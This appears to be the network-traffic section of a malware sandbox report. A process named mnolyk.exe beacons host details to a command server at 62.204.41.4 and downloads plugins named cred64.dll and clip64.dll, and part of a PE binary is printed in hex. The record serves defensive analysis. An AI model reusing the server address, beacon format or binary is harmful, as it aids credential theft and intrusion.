Feb 8, 2023 21:34:04.595130920 CET	50278	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.596107006 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.657634020 CET	80	50278	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.657686949 CET	80	50279	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.657900095 CET	50278	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.657959938 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.664943933 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.726768017 CET	80	50279	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.729394913 CET	80	50279	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.729650021 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.844396114 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.845379114 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.906158924 CET	80	50279	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.906322002 CET	50279	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.907877922 CET	80	50280	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.908042908 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.908554077 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.971391916 CET	80	50280	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.973890066 CET	80	50280	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.974194050 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.079766989 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.080619097 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.143042088 CET	80	50280	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.143196106 CET	50280	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.143922091 CET	80	50281	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.144153118 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.145159960 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.207794905 CET	80	50281	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.212060928 CET	80	50281	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.212323904 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.328471899 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.329226017 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.390491009 CET	80	50282	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.390826941 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.391062975 CET	80	50281	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.391201019 CET	50281	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.393872023 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.455245972 CET	80	50282	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.457537889 CET	80	50282	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.457724094 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.563117981 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.565429926 CET	50283	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.624707937 CET	80	50282	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.624819994 CET	50282	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:05.626988888 CET	80	50283	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:05.627137899 CET	50283	80	192.168.2.3	62.204.41.4

HTTP Request Dependency Graph

62.204.41.4

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49702	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:09.595885992 CET	105	OUT	GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1 Host: 62.204.41.4
Feb 8, 2023 21:31:09.656357050 CET	106	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49701	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:09.596329927 CET	105	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:09.661412954 CET	106	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Feb 8, 2023 21:31:09.718036890 CET	106	OUT	GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1 Host: 62.204.41.4
Feb 8, 2023 21:31:09.779712915 CET	108	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:09 GMT Content-Type: application/octet-stream Content-Length: 91136 Last-Modified: Fri, 03 Feb 2023 17:19:21 GMT Connection: keep-alive ETag: "63dd4219-16400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$,CyCyCy~Iy~y~Qy~Ly~Ry~by~FyCyy~@y~ByBy~ByRichCyPEL8c!>@J<K<T ?p?@,.textV `.rdataab@@.dataD`D@.rsrcP@@.relocTR@B
Feb 8, 2023 21:31:09.779735088 CET	109	IN	Data Raw: 00 00 00 00 6a 20 68 a8 3c 01 10 b9 70 68 01 10 e8 3f 23 00 00 68 00 ea 00 10 e8 8c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 88 68 01 10 e8 1f 23 00 00 68 60 ea 00 10 e8 6c 2a 00 00 59 c3 cc cc cc 6a 38 68 cc 3c 01 10 b9 a0 68 01 10 e8 ff Data Ascii: j h<ph?#hYj8h<h#h`lYj8h<h"hLYj8h<h"h ,Yj8h=h"h*Yj0hD=h"h)Yj0hx=i"h@)Yhh=i
Feb 8, 2023 21:31:09.779755116 CET	110	IN	Data Raw: 7d f0 10 8d 45 dc 0f 43 45 dc 0f be 04 18 8b 04 81 83 f8 ff 74 27 c1 e6 06 03 f0 83 c7 06 78 18 8b cf 8b c6 d3 f8 8b 4d f4 50 e8 1f 1b 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 f0 21 00 00 83 c4 08 Data Ascii: }ECEt'xMPUMC;rEthP!Ur(MBrI#+wVRQ!UEEEr(MBrI#+wRQ~!E_^[]GU4E0SVW3E
Feb 8, 2023 21:31:09.779795885 CET	112	IN	Data Raw: 23 52 51 e8 31 1d 00 00 83 c4 08 33 f6 e9 74 ff ff ff 52 51 e8 20 1d 00 00 83 c4 08 5f 8b c6 5e 8b e5 5d c3 e8 3f 43 00 00 e8 4a 1a 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 18 8b 55 1c 8b 4d 08 56 85 c0 0f 84 82 00 00 00 53 40 57 50 Data Ascii: #RQ13tRQ _^]?CJUQEUMVS@WP] M}CM+IDuNFu+FVjVSWP5WjWj UM_[^r%BrI#+wRQ
Feb 8, 2023 21:31:09.779834986 CET	113	IN	Data Raw: 10 72 2d 8b 4c 24 40 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f8 10 00 00 52 51 e8 06 18 00 00 83 c4 08 8b 0d e4 68 01 10 83 f9 10 72 2e a1 d0 68 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 Data Ascii: r-L$@BrI#+RQhr.hArP#+QPD$`hhL$Dh~D$tfhQT$DL$dT$Xr-L$@BrI#+PRQ^hr.hArP
Feb 8, 2023 21:31:09.779865026 CET	114	IN	Data Raw: 00 00 8a 41 02 3a 42 02 75 0f 83 7c 24 1c ff 74 7b 8a 41 03 3a 42 03 74 73 83 ff 25 73 6e 83 ce 02 c7 44 24 50 00 00 00 00 b9 01 00 00 00 89 74 24 18 3b f9 c7 44 24 54 0f 00 00 00 8d 44 24 20 c6 44 24 40 00 0f 42 cf 83 7c 24 34 10 51 0f 43 44 24 Data Ascii: A:Bu\|$t{A:Bts%snD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu81u\|$0D$\|$0L$@T$TD$D$t9D$r-BrI#+LRQZD$ T$tD$r-L$`B
Feb 8, 2023 21:31:09.779894114 CET	116	IN	Data Raw: 6c 8b c7 83 e8 04 89 44 24 1c 72 19 8b 01 3b 02 75 1c 8b 44 24 1c 83 c1 04 83 c2 04 83 e8 04 89 44 24 1c 73 e7 83 f8 fc 0f 84 bd 00 00 00 8a 01 3a 02 75 39 83 7c 24 1c fd 0f 84 ac 00 00 00 8a 41 01 3a 42 01 75 26 83 7c 24 1c fe 0f 84 99 00 00 00 Data Ascii: lD$r;uD$D$s:u9\|$A:Bu&\|$A:Bu\|$A:Bt~GwvD$Pt$;D$TD$ D$@B\|$4QCD$$L$DPT$TD$@L$@C\|$Pu0xf90u\|$0D$\|$0L$@T$T
Feb 8, 2023 21:31:09.779922962 CET	117	IN	Data Raw: fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 f1 01 00 00 52 51 e8 ff 08 00 00 83 c4 08 80 7c 24 17 00 74 17 83 ec 18 8b cc 68 00 69 01 10 e8 35 04 00 00 e8 e0 eb ff ff 83 c4 18 8b 74 24 18 83 ec 18 8b cc 81 ce 00 10 00 00 Data Ascii: rI#+RQ\|$thi5t$t$0hiL$xWxr\|$4L$ CL$ ;xudD$r;uD$D$s:u1\|$A:Bu\|$tzA:Bu\|$tkA:Btc_u^
Feb 8, 2023 21:31:09.779947996 CET	119	IN	Data Raw: 0e 50 57 51 e8 41 1d 00 00 8b 45 08 83 c4 0c 89 46 10 8b c6 89 5e 14 5f 5e 5b 5d c2 04 00 e8 97 de ff ff e8 22 2a 00 00 cc cc 55 8b ec 51 53 56 8b f1 57 8b 7d 0c 8b 4e 14 89 4d fc 3b f9 77 28 8b de 83 f9 10 72 02 8b 1e 57 ff 75 08 89 7e 10 53 e8 Data Ascii: PWQAEF^_^[]"*UQSVW}NM;w(rWu~S";_^[]v+;v;BC=r%H#;QtwA#HtPm3WuEP~^
Feb 8, 2023 21:31:09.779970884 CET	120	IN	Data Raw: 00 50 e8 bc 2e 00 00 59 85 c0 74 03 32 c0 c3 e8 a2 30 00 00 b0 01 c3 6a 00 e8 d0 00 00 00 84 c0 59 0f 95 c0 c3 e8 cc 0c 00 00 84 c0 75 03 32 c0 c3 e8 0c 35 00 00 84 c0 75 07 e8 c2 0c 00 00 eb ed b0 01 c3 e8 04 35 00 00 e8 b3 0c 00 00 b0 01 c3 55 Data Ascii: P.Yt20jYu25u5Uu}uuMPu,Uuu'YY]cth,j3Y!+*j4YnU}u(jOu2]T4uj%Y]U=
Feb 8, 2023 21:31:09.841473103 CET	122	IN	Data Raw: 00 00 00 53 57 ff 75 08 e8 b1 f8 ff ff 8b f0 89 75 e4 83 ff 01 75 22 85 f6 75 1e 53 50 ff 75 08 e8 99 f8 ff ff 53 56 ff 75 08 e8 64 fd ff ff 53 56 ff 75 08 e8 6a 00 00 00 85 ff 74 05 83 ff 03 75 48 53 57 ff 75 08 e8 47 fd ff ff 8b f0 89 75 e4 85 Data Ascii: SWuuu"uSPuSVudSVujtuHSWuGut5SWuD$MQ0h:uuue3uEMdY_^[UV5u3@uuu,^]U}uuuu]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49711	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:11.882853985 CET	210	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:11.944474936 CET	211	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.3	49802	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:44.378401995 CET	301	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:44.442873955 CET	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.3	49803	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:44.620667934 CET	302	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:44.683964014 CET	302	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.3	49804	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:44.855990887 CET	303	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:44.919894934 CET	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.3	49805	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:45.092452049 CET	304	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:45.155440092 CET	304	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.3	49806	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:45.331321001 CET	305	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:45.396585941 CET	305	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.3	49807	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:45.583488941 CET	306	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:45.648488998 CET	306	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.3	49808	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:45.869321108 CET	307	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:45.932929039 CET	307	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.3	49809	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
